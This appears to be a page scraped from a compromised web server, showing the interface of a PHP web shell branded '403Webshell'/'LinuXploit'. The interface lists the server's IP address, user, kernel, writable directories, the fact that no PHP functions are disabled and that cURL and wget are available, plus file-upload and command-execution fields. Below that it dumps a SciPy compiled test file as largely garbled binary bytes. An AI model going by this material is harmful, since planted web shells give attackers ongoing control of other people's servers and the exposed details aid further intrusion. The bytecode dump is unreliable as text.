403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/misc/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/misc/tests/__pycache__/test_config.cpython-311.pyc
�

d�c����dZddlZddlZddlmZej�eejd��d���Z	Gd�d��Z
dS)	z"
Check the SciPy config is valid.
�N)�patch�_built_with_mesonzRequires Meson builds)�reasonc�P�eZdZgd�Zed��d���Zd�Zd�Zd�ZdS)�TestSciPyConfigs)�	CompilerszMachine InformationzPython Informationzscipy.__config__._check_pyyamlc��t��|_tjt��5tj��ddd��dS#1swxYwYdS)N)�ModuleNotFoundError�side_effect�pytest�warns�UserWarning�scipy�show_config)�self�mock_yaml_importers  �>/usr/lib/python3/dist-packages/scipy/misc/tests/test_config.py�test_pyyaml_not_foundz&TestSciPyConfigs.test_pyyaml_not_founds���)<�)>�)>��&�
�\�+�
&�
&�	 �	 ������	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 ����	 �	 �	 �	 �	 �	 s�A�A�Ac���tjd����t�t��sJ�t	�fd�|jD����s
Jd���dS)N�dicts��modec���g|]}|�v��S�r)�.0�key�configs  �r�
<listcomp>z3TestSciPyConfigs.test_dict_mode.<locals>.<listcomp>s���G�G�G�c�C�6�M�G�G�G�zFRequired key missing, see index of `False` with `REQUIRED_CONFIG_KEYS`)rr�
isinstance�dict�all�REQUIRED_CONFIG_KEYS)rrs @r�test_dict_modezTestSciPyConfigs.test_dict_modesx����"��0�0�0���&�$�'�'�'�'�'��G�G�G�G�T�-F�G�G�G�H�H�	
�	
�
@�	
�	
�	
�	
�	
rc��tjt��5tjd���ddd��dS#1swxYwYdS)N�foor)r�raises�AttributeErrorrr�rs r�test_invalid_modez"TestSciPyConfigs.test_invalid_mode$s���
�]�>�
*�
*�	*�	*���5�)�)�)�)�	*�	*�	*�	*�	*�	*�	*�	*�	*�	*�	*�	*����	*�	*�	*�	*�	*�	*s�=�A�Ac�^�ttjj��dks
Jd���dS)N�zGNew mode detected, please add UT if applicable and increment this count)�lenr�
__config__�DisplayModesr)s r�test_warn_to_add_testsz'TestSciPyConfigs.test_warn_to_add_tests(s5���5�#�0�1�1�Q�6�6�6�
D�7�6�6�6�6rN)	�__name__�
__module__�__qualname__r#rrr$r*r0rrrrrsz�����������U�+�,�,� � �-�,� �

�
�
�*�*�*�
�
�
�
�
rr)�__doc__rr�
unittest.mockr�mark�skipif�hasattrr.�
pytestmarkrrrr�<module>r:s�����
����
�
�
�
�������
�[�
�
���� �"5�6�6�6�"� ���
�
�
�
�
�
�
�
�
�
�
r

Youez - 2016 - github.com/yon3zu
LinuXploit